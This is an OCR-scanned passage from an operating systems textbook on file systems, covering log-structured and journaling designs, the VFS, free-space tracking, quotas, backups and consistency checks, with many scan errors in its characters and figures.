the i-node for the file, and the file itself must all be written. While these writes 
can be delayed, doing so exposes the file system to serious consistency problems 
if a crash occurs before the writes are done. For this reason; the i-node writes are 
generally done immediately. 

From this reasoning, the LFS designers decided to re-implement the UNIX file 
system in such a way as to achieve the fun bandwidth of the disk, even in the face 
of a workload consisting in large part of small random writes. The basic idea is to 
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structure the entire disk as a log. Periodically, and when there is a �pecial �eed 
for it, all the pending writes being buffered in memory are collected lOto a smgle 
segment and written to the disk as a single contiguous segment at the end of the 
log. A single segment may thus contain i-nodes, directory blocks, and data 
blocks, all mixed together. At the start of each segment is a segment summary, 
telling what can be found in the segment. If the average segment can be made to 
be about 1 MB, almost the full bandwidth of the disk can be utilized. 

In this design, i-nodes still exist and have the same structure as in UNIX, but 
they are now scattered all over the log, instead of being at a fixed position on the 
disk. Nevertheless, when an i-node IS located, locating the blocks is done in the 
usual way. Of course, finding an i-node is now much harder, since its address 
cannot simply be calculated from its i-number, as in UNIX. To make it possible to 
find i-nodes, an i-node map, indexed by i-number, is maintained. Entry i in this 
map points to i-node i on the disk. The map is kept on disk, but it is also cached, 
so the most heavily used parts will be in memory most of the time. . 

To summarize what we have said so far, all writes are initially buffered m 
memory, and periodically all the buffered writes are written to the disk in a single 
segment, at the end of the log. Opening a file now consists of using the map to 
locate the i-node for the file. Once the i-node has been located, the addresses of 
the blocks can be found from it. All of the blocks will themselves be in segments, 
somewhere in the log. 

If disks were infinitely large, the above description would be the entire story. 
However, real disks are finite, so eventually the log will occupy the entire disk, at 
which time no new segments can be written to the log. Fortunately, many existing 
segments may have blocks that are no longer needed, for example, if a file is,over
written, its i-node will now point to the new blocks, but the old ones will· still be 
occupying space in previously written segments. 

To deal with this problem, LFS has a cleaner thread that spends its time scan
ning the log circularly to compact it. It starts out by reading the summary of the 
first segment in the log to see which i-nodes and files are ther�_ It then check� t�e 
current i�node map to see if the i-nodes are still current and fIle blocks are still m 
use. If not, that infonnation is discarded. The i-nodes and block$ that are still in 
use go into memory to be written out in the next segment. The original segment is 
then marked as free, so that the log can use it for new data. In this manner, the 
cleaner moves along the log, removing old segments from the back and putting 
any live data into memory for rewriting in the next segment. Consequently, the 
disk is a big circular buffer, with- the writer thread adding new segments to the 
front and the cleaner thread removing old ones from the back. 

The bookkeeping here is nontrivial, since when a file block is written back to 
a new segment, the i-node of the file (somewhere in the log) must be located, 
updated, and put into memory to be written out in the next segment. The i-node 
map must then be updated to point to the new copy. Nevertheless, it is possible to 
do the administration, and the performance results show that all this complexity is 
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worthwhile. Measurements given in the papers cited above show that LFS outper
forms UNIX �y an order of magnitude on small writes, while having a per
formance that IS as good as or better than UNIX for reads and large writes. 

4.3.6 Journaling File Systems 

W?ile log-structured file systems are an interesting idea, they are not widely 
used, In part due to their being highly incompatible with existing file systems. 
Nevertheless, one of the ideas inherent in them, robustness in the face of failure 
can be easily applied to more conventional file systems. The basic idea here is t� 
keep a log of what the file system is going to do before it does it, so that if the sys

�em crashes before it can do its planned work, upon rebooting the system can look 
m the Jog to see what was going on at the time of the crash and finish the job. 
Such file systems, called journaling file systems, are actually in use. Microsoft's 
NTFS file s�ste� and �e .Linux ext3 and ReiserFS file systems use joumaling. 
Below we WIll gIve a bnef mtroduction to this topic. 

To see the nature of the problem, consider a simple garden-variety operation 
that happens all the time: removing a file. This operation (in UNIX) requires three 
steps: 

1. Remove the file from its directory. 

2. Release the i-node to the pool of free i-nodes. 

3. Return all the disk blocks to the pool of free disk blocks. 

In Wi?dow� analogous steps are required. In the absence of system crashes, the 
order 10 WhICh these steps are taken does not matter; in the presence of crashes, it 
does. Suppose that the first step is completed and then the system crashes. The i
node and file blocks will not be acceSsible from any file, but will also not be 
ava�lable' for reassignment; they are just off in limbo somewhere, decreasing the 
avaIlable resources. If the crash occurs after the second step, only the blocks are 
lost. 

If the order of operations is changed and the i-node is released first, then after 
rebooting, the i-node may be reassigned, but the old directory entry will continue 
to point to it, hence to the wrong file. If the blocks are released first, then a crash 
before the i-node is cleared will mean that a valid directory entry points to an i
node listing blocks now in the free storage pool and which are likely to be reused 
shortly, leading to two or more files randomly sharing the same blocks. None of 
these outcomes are good. 

. 
What the journaling file system does is first write a log entry listing the three 

actIons to be completed. The log entry is then written to disk (and for good meas
ure, possibly read back from the disk to verify its integrity). Only after the log 
entry has been written, do the various operations begin. After the operations 
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complete successfully, the log entry is erased. If the system now crashes, upon re

covery the file system can check the log to see if any operations were pending. If 

so, all of them can be rerun (multiple times in the event of repeated crashes) until 

the file is correctly removed. 
To make journaling work, the logged operations must be idempotent, which 

means they can be repeated as often as necessary without harm. Operations such 

as "Update the bitmap to mark i-node k Or block n as free" can be repeated until 

the cows come home with no danger. Similarly, searching a directory and remov

ing any entry called joobar is also idempotent. On the other hand, adding the 

newly freed blocks from i-node K to the end of the free list is not idempotent since 

they may already be there. The more-expensive operation "Search the list of free 

blocks and add block It to it if it is not already present" is idempotent. Journaling 

file systems have to arrange their data structures and loggable operations so they 

all of them are idempotent. Under these conditions, crash recovery can be made 

fast and secure. 
For added reliability, a file system can introduce the database concept of an 

atomic transaction. When this concept is used, a group of actions can be brack

eted by the begin transaction and end transaction operations. The file system then 

knows it must complete either all the bracketed operations or none of them, but 

not any other combinations. 
NTFS has an extensive journaling system and its structure is rarely corrupted 

by system crashes. It has been in development since its first release with Win

dows NT in 1993. The first Linux file system to do journaling was ReiserFS, but 

its popularity was impeded by the fact that it was incompatible with the then-stan

dard ext2 file system. In contrast, ext3, which is a less ambitious project than 

ReiserFS, also does journaling while maintaining compatibility with the previous 

ext2 system. 

4.3.7 Virtual File Systems 

Many different file systems are in use-often on the same computer--even 

for the same operating system. A Windows system may have a main NTFS file 

system, but also a legacy FAT-32 or FAT-16 drive or partition that contains old, 

but still needed, data, and from time to time a CD-ROM or DVD (each with its 

own unique file system) may be required as well. Windows handles these 

disparate file systems by identifying each one with a different drive letter, as in 

C:, D;, etc. When a process opens a file, the drive letter is explicitly or implicitly 

present so WindoWS knows which file system to pass the request to. There is no 

attempt to integrate heterogeneous file systems into a unified whole. 

In contrast, all modern UNIX systems make a very serious attempt to integrate 

multiple file systems into a single structure. A Linux system could have ext2 as 

the root file system, with an ext3 partition mounted on lusr and a second hard disk 

with a ReiserFS file system mounted on /home as well as an ISO 9660 CD-ROM 
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the VFS was to support remote file systems using the NFS (Network File Sys
tem) protocol. The VFS design is such that as long as the concrete file system 
supplies the functions the VFS requires, the VFS does not know or care where the 
data are stored or what the underlying file system is like. 

Internally, most VFS implementations are essentially object oriented, even if 
they are written in C rather than C++. There are several key object types that are 
normally supported. These include the superblock (which describes a file system), 
the Y¥fiode (which describes a file), and the directory (which describes a file sys
tem directory). Each of these has associated operations (methods) that the con
crete file systems must support. In addition, the VFS has some internal data struc
tures for its own use, including the mount table and an array of file descriptors to 
keep track of all the open files in the user processes. 

To understand how the VFS works, let us run through an example chronologi
cally. When the system is booted, the root file system is registered with the VFS. 
In addition, when other file systems are mounted, either at boot time or during op
eration, they, too must register with the VFS. When a file system registers, what 
it basically does is provide a list of the addresses of the functions the VFS :re
quires, either as one long call vector (table) or as several of them, one per VFS 
object, as the VFS demands. Thus once a file system has registered with the VFS, 
the VFS knows how to, say, read a block from it-it simply calls the fourth (or 
whatever) function in the vector supplied by the file system. Similarly, the VFS 
then also knows how to carry out every other function the concrete file system 
must supply: it just calls the function whose address was supplied when the file 
system registered. 

After a file system has been mounted, it can be used. For example, if a file 
system has been mounted on lusr and a process makes the call 

open("/usrnnclude/unistd.h", O_RDONLY) 

while parsing the path, the VFS sees that a new file system has been mounted on 
lusr and locates its superblock by searching the list of superblocks of mounted file 
systems. Having done this, it can find the root directory of the ,mounted file sys
tem and look up the path includelunistdh there. The VFS then creates a v-node 
and makes a call to the concrete me system to return all the infonnation in the 
file's i-node. This information is copied into the v-node (in RAM), along with 
other information, most importantly the pointer to the table of functions to call for 
operations on v-nodes, such as read, write, dose, and so on. 

After the v-node has been created, the VFS makes an entry in the file descrip
tor table for the calling process and sets it to point to the new v-node. (For the 
purists, the file descriptor actually points to another data structure that contains 
the current file position and a pointer to the v-node, but this detail is not important 
for our purposes here.) Finally, the VFS returns the file descriptor to the caller so 
it can use it to read, write, and close the file. 
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4.4 FILE SYSTEM MANAGEMENT AND OPTIMIZATION 

Making the file system work is one thing; making it work efficiently and 

robustly in feal Ufe is something quite different. In the following sections we will 

look at some of the issues involved in managing disks. 

4.4.1 Disk Space Management 

Files are TIonnally stored on disk, so management of disk space is a major 

concern to file system designers. Two general strategies are possible for storing an 

n byte file: n consecutive bytes of disk space are allocated, or the file is split up 

into a number of (not necessarily) contiguous blocks. The same trade-off is pres

eot in memory management systems between pure segmentation and paging. 

As we have seen, storing a file as a contiguous sequence of bytes has the ob

vious problem that if a file grows, it will probably have to be moved on the disk. 

The same problem holds for segments in memory, except that moving a segment 

in memory is a relatively fast operation compared to moving a file from one disk 

position to another. For this reason, nearly all fIle systems chop flies up into 

fixed-size blocks that need not be adjacent. 

Block Size 

Once it has been decided to store files in fixed-size blocks, the question arises 

of how big the block should be. Given the way disks are organized, the sector. the 

track, and the cylinder are obvious candidates for the unit of allocation (although 

these are all device dependent, which is a minus). In a paging system, the page 

size is also a major contender. 

Having a large block size means that every file, even a I-byte file, ties up an 

entire cylinder. It also means that small files waste a large amount of disk space. 

On the other hand, a sman block size means that most frIes will span multiple 

blocks and thus need multiple seeks and rotational delays to read them, redUCing 

performance. Thus if the allocation unit is too large, we waste space; if it is too 

small, we waste time. 

Making a good choice requires having some information about the file size 

distribution. Tanenbaum et a1. (2006) studied the file size distribution in the 

Computer Science Department of a large research university (the VU) in 1984 and 

then again in 2005, as well as on a commercial Web server hosting a political 

Website (www.electoral-vote.com). The results are shown in Fig. 4�20, where for 

each power-of�two file size, the percentage of all files smaller or equal to it is list

ed for each of the three data sets. For example, in 2005. 59.13% of all files at the 

VU were 4 KB or smaller and 90.84% of all files were 64 KB or smaller. The 

median file size was 2475 bytes. Some people may find this small size surprising. 
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Length VU 1984 VU 2005 Web Length VU 1 984 VU 2005 Web 

1 1.79 1.38 6.67 16 KB 92.53 78.92 86.79 
2 1 .88 1.53 7.67 32 KB 97.21 85.87 91 .65 
4 2.01 1 .65 8.33 64 KB 99.1 8  90.84 94.80 
8 2.31 1 .80 1 1 .30 128 KB 99.84 93.73 96.93 

16 3.32 2.15 1 1 .46 256 KB 99.96 96.12 98.48 
32 5.13 3.15 12.33 512 KB 100.00 97.73 98.99 
64 8.71 4.98 26.10 1 MB 100.00 98.87 99.62 

128 14.73 8.03 28.49 2 MB 100.00 99.44 99.80 
256 23.09 1 3.29 32.1 0  4 MB 100.00 99.71 99.87 
512 34.44 20.62 . 39.94 8 MB 100.00 99.86 99.94 

1 KB 48.05 30.91 47.82 16 MB 1 00.00 99.94 99.97 
2 KB 60.87 46.09 59.44 32 MB 100.00 99.97 99.99 
4 KB 75.31 59.13 70.64 64 MB 100.00 99.99 99.99 
8 KB 84.97 69.96 79.69 128 MB 100.00 99.99 100.00 

Figure 4�20. Percentage of files smaIler than a given size (in bytes). 
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so it might be a better guess on the whole. The dashed curve of Fig. 4-21 shows 
the space efficiency as a function of block size. 

60 , 100% , 
� 50 

, c , 80% .2 0 , " • , 
ill 40 I � e , 60% , • 

� 30 , 0 , • , 40% � • 20 , , � " w " , , ;S 
10 , • 20'% , • 

0 1 KB 4KB 16 KB 64KB 256 KB 1MB 0"'10 

Figure 4·21. The solid curve (left-hand scale) gives the data rate of a disk. The 
dashed curve (right-hand scale) gives the disk space efficiency. All files are 4 
KB. 

. 

The two curves can be understood as follows. The access time for a �block is 
completely dominated by the seek time and rotational delay, so given that it is 
aoing to cost 9 msec to access a block, the more data that are fetched, the better. 
Hence the data rate goes up almost linearly with block size (until the transfers 
take so long that the transfer time begins to matter). 

Now consider space efficiency. With 4-KB files and l-KB, 2-KB, or 4-KB 
blocks, files use 4, 2, and 1 block, respectively, with no wastage. With an 8-KB 
block and 4-KB files, the space efficiency drops to 50%, and with a 16-KB block 
it is down to 25%. In reality, few files are an exact mUltiple of the disk block 
size, so some space is always wasted in the last block of a file. 

What the curves show, however, is that perfonnance and space utilization are 
inherently in conflict. Small blocks are bad for perfonnance but good for disk 
space utilization. For these data, no reasonable compromise is availabl.e. The size 
closest to where the two curves cross is 64 KB, but the data rate IS only 6.6 
ME/sec and the space efficiency is about 7%, neither of which is "Very good. His
torically, file systems have chosen sizes in the l-KB to 4-KB range, but with disks 
now exceeding 1 TB, it might be better to increase the block size to 64 KB and 
accept the wasted disk space. Disk space is hardly in short supply any more. 

In an experiment to see if Windows NT file usage was appreciably different 
from UNIX file usage, Vogels made measurements on files at Cornell University 
(Vogels, 1999). He observed that NT file usage is more complicated than on 
UNIX. He wrote: 

When we type a few characters in the notepad text editor, saving this to a 
file will trigger 26 system calls, including 3 failed open attempts, 1 file 
overwrite and 4 additional open and close sequences. 
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Neverthel�ss, he ?bserved a median size (weighted by usage) of files just read at 1 �, files Just wntten as 2.3 KB, and files read and written as 4.2 KB. Given the 
dl�ferent data sets measurement techniques, and the year, these results are cer
tamly compatible with the VU results. 

Keeping Track of Free Blocks 

Once a block size has b�en chosen, the next issue is how to keep track of free 
b!ocks. TV:'0 methods are WIdely used, as shown in Fig. 4-22. The first one con
Sl.sts of usmg a linked li�t of dis� blocks, with each block holding as many free 
dISk block numbers as WIll fit. WIth a l-KB block and a 32-bit disk block number 
ea�h block on the. free list holds the numbers of 255 free blocks. (One slot is re� 
qmred for the pomter to the next block.) Consider a 500-GB disk which has 
about 488 million disk blocks. To store all these address at 255 per bl�ck requires 
about 1.9 million blocks. Generally, free blocks are used to hold the free list so 
the storage is essentially free. 

' 
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1011101101 10 1 1 1 1 
110010001 11011 1 1  

0111011101 1 101 1 1  
110111 1 101 1101 1 1  

A bitmap 

(b) 

Figure 4-22. (a) Storing the free list on a linked list. (b) A bitmap. 

The other free space management technique is the bitmap. A disk with n 
blocks requires a bitmap wit� n bits. Free blocks are represented by Is in the map, 
allocat�d. bloc�s by Os (or VIce versa). For our example 500-GB disk, we need 
488 mIllion bIts for the map, which requires just under 60,000 l-KB blocks to 
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store. It is not surprising that the bitmap requires less space, since it uses 1 bit per 
block, versus 32 bits in the linked list model. Only if the disk is nearly full (i.e., 
has few free blocks) will the linked list scheme require fewer blocks than the bit
map. 

If free blocks tend to come in long runs of consecutive blocks, the free-list 
system can be modified to keep track of runs of blocks rather than single blocks. 
An 8-, 16-, or 32-bit count could be associated with each block giving the number 
of consecutive free blocks. In the best case, a basically empty disk could be 
represented by two numbers: the address of the first free block followed by the 
CQunt of free blocks. On the other hand, if the disk becomes severely fragmented, 
keeping track of runs is less efficient than keeping track of individual blocks be
cause not only must the address be stored, but also the count. 

This issue illustrates a problem operating system designers often have, There 
are multiple data structures and algorithms that can be used to solve a problem, 
but choosing the best one requires data that the designers do not have and will not 
have until the system is deployed and heavily used. And even then, the data may 
not be available. For example, our own measurements of file sizes at the VU in 
1984 and 1995, the Website data, and the Cornell data are only four samples. 
While a lot better than nothing, we have little idea if they are also representative 
of home computers, corporate computers, government computers, and others. 
With some effort we might have been able to get a couple of samples from other 
kinds of computers, but even then it would be foolish to extrapolate to an com
puters of the kind measured. 

Getting back to the free list method for a moment, only one block of pointers 
need be kept in main memory. When a file is created, the needed blocks are taken 
from the block of pointers. When it runs out, a new block of pointers is read in 
from the disk. Similarly, when a file is deleted, its blocks are freed and added to 
the block of pointers in main memory. When this block fills up, it is written to 
disk. 

Under certain circumstances, this method leads to unnecessary disk I/O. Con
sider the situation of Fig. 4-23(a), in which the block of pointers in memory has 
room for only two more entries. If a three-block file is freed, the pointer block 
overflows and has to be written to disk, leading to the situation of Fig. 4-23(b). If 
a three-block file is now written, the full block of pointers has to be read in again, 
taking us back to Fig. 4-23(a). If the three-block file just written was a temporary 
file, when it is freed, another disk write is needed to write the full block of point
ers back to the disk. In short, when the block of pointers is almost empty, a series 
of short-lived temporary files can cause a lot of disk I/O. 

An alternative approach that avoids most of this disk I/O is to split the full 
block of pointers. Thus instead of going from Fig. 4-23(a) to Fig. 4-23(b), we go 
from Fig. 4-23(a) to Fig. 4-23(c) when three blocks are freed. Now the system can 
handle a series of temporary files without doing any disk I/O. If the block in 
memory fills up, it is written to the disk, and the half-full block from the disk is 
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Figure 4-23. (a) An a�most:full ?lock of pointers to free disk blocks in memory 
and three b�ocks of pomters on dIsk. (b) Result of freeing a three-block file. (c) 
An alternative strategy for handling the three free blocks. The shaded entries 
represent pointers to free disk blocks. 
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�ead �n. The idea here is to keep most of the pointer blocks on disk full (to minim
IZe dIsk �sage), but keep the one in memory about half full, so it can handle both 
file creatIon and file removal without disk I/O on the free list. 

. 
With a bitmap, it is als� possible to keep just One block in memory; going to 

dISk for another only when It becomes full or empty. An additional benefit of this 
a�proach is �at by doing all the allocation from a single block of the bitmap, the 
disk blocks wIll be close together, thus minimizing disk ann motion. Since the bit
map is

.
a fi�ed-size data structure, if the kernel is (partially) paged, the bitmap can 

be put m VIrtual memory and have pages of it paged in as needed. 

Disk Quotas 

To prevent pe?ple from h�gging too much disk space, multiuser operating systems often proVide a mechafilsm for enforcing disk quotas. The idea is that the system administrator assigns each user a maximum allotment of files and blocks an� the operating system makes sure that the users do not exceed their quotas. A typICal mechanism is described below. 

. 
When a user opens � file,

. 
the attributes and disk addresses are located and put mto an open fil� table I� mam memory. Among the attributes is an entry telling who the owner IS. Any Increases in the file's size will be charged to the owner's quota. 

A sec�nd table contains the quota record for every user with a currently open fil�, even If the file was opened by someone else. This table is shown in Fig. 4-24. It IS an extract from a quota file on disk for the users whose files are currently open. When all the files are closed, the record is written back to the quota file. 
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Figure 4.24. Quotas are kept track of on a per-user basis in a quota table. 

When a new entry is made in the open file table, a point�r to 
.
th� owner's 

quota record is entered into it, to make it easy to find the vanous limIts. Ever.y 

time a block is added to a file, the total number of blocks charged �o �e owner IS 

incremented, and a check is made against both the hard and soft hnuts. The soft 

limit may be exceeded, but the hard limit may not. An attempt to append to a file 

when the hard block limit has been reached will result in an error. Analogous 

checks also exist for the number of files. . 
When a user attempts to log in, the system examines the quota file to se� If 

the user has exceeded the soft limit for either number of files or number of dISk 

blockS. If either limit has been violated, a warning is displayed, and the count of 

warnings remaining is reduced by one. If the count ever g�ts to zero, �e user ?as 

i2"IlOred the warning one time too many, and is not perrmtted to log m. Ge�tJ.?g 

p
C>
ennission to log in again will require some discussion with the system admmls-

trato�hiS method has the property that users may go above their soft limits during 
a login session, provided they remove the excess before logging out. The hard 
limitS may never be exceeded. 

4.4.2 File System Backups 

Destruction of a file system is often a far greater disaster than destruction of a 
computer. If a computer is destroyed by fire, lightning surges, or a cup of coffee 
poured onto the keyboard, it is annoying and will cost money, but. generally a 
replacement can be purchased with a minimum �f fuss: InexpensIve personal 
computers can even be replaced within an hour by Just gomg to a computer store 

SEC. 4.4 FILE SYSTEM MANAGEMENT AND OPTIMIZATION 297 

(except at universities, where iSSuing a purchase order takes three committees 
five signatures, and 90 days). ' 

If a computer's file system is irrevocably lost, whether due to hardware or 
software, restoring all the infonnation will be difficult, time consuming, and in 
many cases, impossible. For the people whose programs, documents, tax records, 
customer files, databases, marketing plans, or other data are gone forever, the 

�onsequ�nces ca� be catastro�hic. While the file system cannot offer any protec
tIOn

. 
agamst phYSIC�l destructIOn of the equipment and media, it can help protect 

the mfonnatIOn. It IS pretty straightforward: make backups. But that is not quite 
as simple as it sounds. Let us take a look. 

Most people do not think making backups of their files is worth the time and 
effort-until one fine day their disk abruptly dies, at which time most of them 
undergo a deathbed conversion. Companies, however, (usually) well understand 
the value of their data and generally do a backup at least once a day, usually to 
tape. Modern tapes hold hundreds of gigabytes and cost pennies per gigabyte. 
Nevertheless, making backups is not quite as trivial as it sounds so we will exam-
ine some of the related issues below. 

' 

Backups to tape are generally made to handle one of two potential problems: 

1 .  Recover from disaster. 
2. Recover from stupidity. 

The first one covers getting the computer running again after a disk crash, fire, 
flood, or ?th�r natural catastrophe. In practice, these things do not happen very 
often, whlch IS why many people do not bother with backups. These people also 
tend not to have fire insurance on their houses for the same reason. 

The second reason is that users often "accidentally remove files that they later 
need again. This problem occurs so often that when a file is «removed" in Win
dows, it is not deleted at all, but just moved to a special directory, the recycle bin, 
so it can be fished out and restored easily later. Backups take this principle further 
and anow files that were removed days, even weeks, ago to be restored from old 
backup tapes. 

Making a backup takes a long time and occupies a large amount of space so 
doing it efficiently and conveniently is important. These considerations raise 'the �ollowing iss�es. Fir�t, should the entire file system be backed up or only part of 
It? At many mstallatIOns, the executable (binary) programs are kept in a limited 
part �f the file system tree. It is not necessary to back up these files if they can all 
be remstalled from the manufacturer's CD-ROMs. Also, most systems have a di
rectory for temporary files. There is usually no reason to back it up either. In 
UNIX, all the special files (110 devices) are kept in a directory /dev. Not only is 
backing up this directory not necessary, it is downright dangerous because the 
backup program would hang forever if it tried to read each of these to completion. 
In short, it is usually desirable to back up only specific directories and everything 
in them rather than the entire file system. 
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Second it is wasteful to back up fIles that have not changed since the previous 
backup. which leads to the idea of incremental dumps. The. si�plest form of in
cremental dumping is to make a complete dump (backup) penodlcally, say we�kly 
or monthly, and to make a daily dump of only those files that have been modIfied 
since the last fun dump. Even better is to dump only those files that have changed 
since they were last dumped. While this scheme minimizes dumping time, it 
makes recovery more complicated, because first the most recent full dump has to 
be restored, followed by all the incremental dumps in reverse order. To ease 
recovery, more sophisticated incremental dumping 

.
schemes are of�en used. . 

Third since immense amounts of data are tYPIcally dumped, It may be deslI
able to c�mpress the data before writing them to tape. However,

. 
with many com

pression algorithms, a single bad spot on the backup tape can fOil the decompres
sion algorithm and make an entire file or even an entire tape u�readable. Thus the 
decision to compress the backup stream must be carefully consIdered. 

Fourth, it is difficult to perform a backup on an active file system. If files and 
directories are being added, deleted, and modified during the dumping process, 
the resulting dump may be inconsistent However, si�ce making a dump m�y take 
hours, it may be necessary to take the system offlme for much .of the mght to 
make the backup, something that is not always acceptable. For thIS reason, algo� 
rithms have been devised for making rapid snapshots of the file system state by 
copying critical data structures, and then requiring fu�re changes to �les and di
rectories to copy the blocks instead of updating them m place (Hutchmson et al., 
1999). In this way, the file system is effectively frozen at the moment of the 
snapshot, so it can be backed up at leisure afterward. . . 

Fifth and last, making backups introduces many nontechmcal problems mto 
an organization. The best online security system in the world may be useles� if the 
system administrator keeps all the backup tapes in his office and leaves It open 
and unguarded whenever he walks down the hall to �et outpu� fro.m the printer. 
All a spy has to do is pop in for a second, put o�e tmy �ape m hIS poc�et, and 
saunter off jauntily. Goodbye security. Also, making a dally backup has lIttle use 
if the fire that bums down the computers also bums up all the backup tapes. For 
this reason, backup tapes should be kept off-site, but that introduces more security 
risks (because now twO sites must be secured). For a thorough discussion of these 
and other practical administration issues, see (Nemeth et al., 2000). Below we 
wiII discuss only the technical issues involved in making file system backups. 

Two strategies can be used for dumping a disk to tape: a physical dump or a 
logical dump. A physical dump starts at block 0 of the disk, writes all the disk 
blocks onto the output tape in order, and stops when it has copied the last one. 
Such a program is so simple that it can probably be made 100% bug free, some� 
thing that can probably not be said about any other useful program. 

. . 
Nevertheless, it is worth making several comments about phYSIcal dumpmg. 

For one thing, there is no value in backing up unused disk blocks. If the dumping 
program can obtain access to the free block data structure, it can avoid dumping 
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unused blo�ks. However, skipping unused blocks requires writing the number of 
each block m front of the block (or the equivalent), since it is no longer true that 
block k on the tape was block k on the disk. 

A second concern is  dumping bad blocks. It is nearly impossible to manufac
t?re large disks without any defects. Some bad blocks are always present. Some
times when a low-level fonnat is done, the bad blocks are detected, marked as 
bad, and :eplaced by spare blocks reserved at the end of each track for just such 
emergenCIes. I� many cases, t?e disk controller handles bad block replacement 
transparently WIthout the operatmg system even knowing about it. 

. 
However,. sometimes blocks go bad after formatting, in which case the operat

m� sys,:em w�11 .eventually detect them. Usually, it solves the problem by creating 
a file consIstmg of all the bad blocks-just to make sure they never appear in 
the free block pool and are never assigned. Needless to say, this file is completely 
unreadable. 

.If all bad bloc�s are rer.napped b� the disk controller and hidden from the op

�ratmg syste� .as Just descnbed, phYSIcal dumping works fine. On the other hand, 
If they are VIsIble to the operating system and maintained in one or more bad
block files or bit.m�ps, it is �bsolutely essential that the physical dumping program 
get access to thIS mforrnatlOn and avoid dumping them to prevent endless disk 
read errors while trying to back up the bad-block file. !he m�in advantages of physical dumping are simplicity and great speed �bas�c.ally. It �an run at t�e spe�d of the disk). The main disadvantages are the 
mabilIty to skip selected directones, make incremental dumps, and restore indivi
dual files �pon request. For these reasons, most installations make logical dumps. 

A logIcal dump �tarts �t one or more specified directories and recursively 
dumps all files and dlrectones found there that have changed since some given 
base date (e.g., the last backup for an incremental dump or system installation for 
� ful� dum�). Th?S in a logical dump, the dump tape gets a series of carefully 
Identified directones and files, which makes it easy to restore a specific file or di
rectory upon request. 

S
.
ince logical dumping is the most common form, let us examine a common 

algon�m in �etail using the example of Fig. 4-25 to guide us. Most UNIX systems 
use thl� algonthm. In the �gure we see a file tree with directories (squares) and 
files (CIrcles). The shaded Items have been modified since the base date and thus 
need t� be du�ped. The unshaded ones do not need to be dumped. 

This algonth� also dumps 
.
all directories (even unmodified ones) that lie on 

the path to a modIfied file or directory for two reasons. First, to make it possible 
to restore the d�mped files and directories to a fresh file system on a different 
co�puter. In thIS way, the dump and restore programs can be used to transport 
entIre file systems between computers. 

The second reason for dumping unmodified directories above modified files is 
to make it possible to incrementally restore a single file (possibly to handle re
covery from stupidity). Suppose that a full file system dump is done Sunday 
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dumped. By way of contrast, directories 5 and 6 wIll be dumpe even aug ey 
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themselves have not been modified because they will be needed to restore today's 
changes to a fresh machine. For efficiency, phases 1 and 2 can be combined in 
one tree walk. 

(al IfI21"141,,16IfI8t9hOhjI12Il311�115Ir61{7IjBI1�I�gl';11�1'***612712.1'*°1311321 

(bl In21�141�161t.IBI911011 1112113114115Ij�lj7h§lj�12912112212�12412512612**913ois11321 

(oj IjI2131415'16l�1'1911OH12113114115Ij6Il*8h�l�pI2ll;';12.312412512612712***,1321 

(dl 1 1  1213.1415161718j.9110111Ij*I14115116Ifil18I1912****�12512****01311321 

Figure +26. Bitmaps used by the logical dumping algorithm. 

At this paint it is known which directories and files must be dumped. These 
are the ones marked in Fig. 4-26(b). Phase 3 consists of scanning the i-nodes in 
numerical order and dumping all the directories that are marked for tlumping. 
These are shown in Fig. 4-26(c). Each directory is prefixed by the directory's at
tributes (owner. times, etc.) so that they can be restored. Finally, in phase 4, the 
files marked in Fig. 4-26(d) are also dumped, again prefixed by their attributes. 
This completes the dump. 

Restoring a file system from the dump tapes is straightforward. To start with, 
an empty file system is created on the disk. Then the most recent full dump is re
stored. Since the directories appear first on the tape, they are all restored first, giv
ing a skeleton of the file system. Then the files themselves are restored. This 
process is then repeated with the first incremental dump made after the full dump, 
then the next one, and so on. 

Although logical dumping is straightforward, there are a few tricky issues, For 
one, since the free block list is not a file, it is not dumped and hence it must be 
reconstructed from scratch after all the dumps have been restored. Doing so is al
ways possible since the set of free blocks is just the complement of the set of 
blocks contained in all the files combined. 

Another issue is links. If a file is linked to two or more directories, it is im
portant that the file is restored only one time and that all the directories that are 
supposed to point to it do so. 

Still another issue is the fact that UNIX files may contain holes. It is legal to 
open a file, write a few bytes, then seek to a distant file offset and write a few 
more bytes. The blocks in between are not part of the file and should not be 
dumped and must not be restored. Core files often have a hole of hundreds of 



F 
302 FILE SYSTEMS CHAP, 4 

megabytes between the data segment and the stack. If not handled �roperly, ea�h 
restored core file will fill this area with zeros and thus be the same SIze as the VIr
tual address space (e.g., 232 bytes, or worse yet, 264 bytes). 

Finally, special files, named pipes, and the like should never be dumped, no 
matter in which directory they may occur (they need not be confined to/dev). For 
more information about file system backups, see (Chervenak et aI., 1998; and 
Zwicky, 1991), 

Tape densities are not improving as fast as disk densities. This �s gradu�ny 
leadina to a situation in which backing up a very large disk may reqUIre multIple 
tapes. While tape robots are available to change tapes automatically, if t�s trend 
continues, tapes will eventually become too small to use as a backup medIUm. In 
that case, the only way to back up a disk will be on another disk. While simply 
mirroring each disk with a spare is one possibility, more sophisticated schemes, 
called RAIDs, will be discussed in Chap. 5. 

4.4.3 File System Consistency 

Another area where reliability is an issue is file system consistency. Many file 
systems read blocks, modify them, and write them out later. If the system crash�s 
before all the modified blocks have been written out, the file system can be left III 
an inconsistent state. This problem is especially critical if some of the blocks that 
have not been written out are i-node blocks, directory blocks, or blocks containing 
the free list. 

To deal with the problem of inconsistent file systems, most computers have a 
utility program that checks file system consistency. For example, UNIX has fsck 
and Windows has scandisk. This utility can be run whenever the system is boot
ed, especially after a crash. The description below tens how Jsck works. Scandisk 
is somewhat different because it works on a different file system, but the general 
principle of using the file system's inherent redundancy to repair it is still valid. 
All file system checkers verify each file system (disk partition) independently of 
the other ones. 

Two kinds of consistency checks can be made: blocks and files. To check for 
block consistency, the program builds two tables, each one containing a counter 
for each block, initially set to O. The counters in the first table keep track of how 
many times each block is present in a file; the counters in the second table record 
how often each block is present in the free list (or the bitmap of free blocks). 

The program then reads all the i-nodes using a raw device, which ignores the 
file structure and just returns all the disk blocks starting at O. Starting from an i
node, it is possible to build a list of all the block numbers used in the correspond
ing file. As each block number is read, its counter in the first table is incre
mented. The program then examines the free list or bitmap to find all the blocks 
that are not in use. Each occurrence of a block in the free list results in its counter 
in the second table being incremented. 
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. If the file system is consistent, each block will have a 1 either in the first table 
or m the second t�ble, as illustrated in Fig. 4-27(a). However, as a result of a 
c:ash, the tables I?Ight look like Fig. 4-27(b), in which block 2 does not occur in 
either table. It WIll be reported as being a missing block. While miSSing blocks 
do n� real ha�m: they waste space and thus reduce the capacity of the disk. The 
solutIon to mlssl�g .blocks is straightforward: the file system checker just adds 
them to the free lIst. 

Block number 
